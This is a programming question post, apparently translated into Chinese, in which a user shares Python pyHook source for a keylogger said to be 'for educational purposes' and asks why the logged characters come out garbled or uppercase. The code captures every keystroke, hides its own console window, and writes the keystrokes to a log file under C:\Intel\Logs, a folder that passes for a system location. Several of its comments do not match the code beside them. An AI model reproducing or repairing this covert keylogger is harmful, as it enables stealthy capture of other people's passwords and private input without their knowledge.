所以我是 Pyhook 的新手,我想让自己成为一个用于教育目的的键盘记录器。但是,日志给了我奇怪的输入。它要么只是随机符号,总是大写,要么都是好的和正常的。
我正在使用 python 3.4,我在 Windows 上。
这是我的代码:
import pyHook
import pythoncom
import win32gui
import win32console
import os
import sys
import time
import getpass
file = open("C:\\Intel\\Logs\\log.txt", "w")
file.write("") #clears the log
file.close()
log_file = "C:\\Intel\\Logs\\log.txt" #name of log file
window = win32console.GetConsoleWindow() #go to script window
win32gui.ShowWindow(window,0) #hide window
def pressed_chars(event): #on key pressed function
if event.Ascii:
f = open(log_file, "a")
if event.Ascii == 97: # (if char is "return")
f.write("a") # (open log_file in append mode)
char = chr(event.Ascii) # (insert real char in variable)
if event.Ascii == 13: # (if char is "return")
f.write("\n") # (new line)
elif event.Ascii == 8: #(if char is "backspace")
f.write("[BACKSPACE]") #(print "[backspace]")
f.write(char)
print(char)# (write char)
proc = pyHook.HookManager() #open pyHook
proc.KeyDown = pressed_chars #set pressed_chars function on KeyDown event
proc.HookKeyboard() #start the function
pythoncom.PumpMessages() #get input
代码大部分来自互联网,但略有修改。
现在的问题是:如何确保它始终是正常输出?
让我知道是否有任何需要澄清的地方。